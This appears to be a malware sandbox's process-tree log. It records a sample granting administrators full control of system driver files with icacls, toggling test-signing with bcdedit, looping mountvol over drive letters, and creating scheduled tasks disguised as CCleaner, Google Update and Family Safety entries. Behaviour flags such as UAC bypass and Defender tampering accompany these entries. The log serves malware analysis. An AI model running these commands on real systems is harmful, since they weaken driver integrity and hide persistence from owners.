- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c bcdedit /set {current} testsigning off2⤵
-
C:\Windows\System32\bcdedit.exebcdedit /set {current} testsigning off3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c bcdedit /set testsigning on2⤵
-
C:\Windows\System32\bcdedit.exebcdedit /set testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol W: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol W: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /D3⤵
-
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Loads dropped DLL
-
C:\Windows\BootFiles\BootExecutor.exeC:\Windows\BootFiles\BootExecutor.exe1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- System policy modification
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_e7d70c24" /F2⤵
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_e7d70c24" /XML "C:\Users\Admin\AppData\Local\Temp\57853059-3a32-4936-8c8d-33f70ccf9bd0.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_085aa6f1" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_085aa6f1" /XML "C:\Users\Admin\AppData\Local\Temp\c72815c7-82d7-4b4a-abbf-28438095513d.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_5c7704f1" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_5c7704f1" /XML "C:\Users\Admin\AppData\Local\Temp\dedb89a9-6c01-4074-ad36-43ec0844c7ce.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol W: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol X: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Y: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
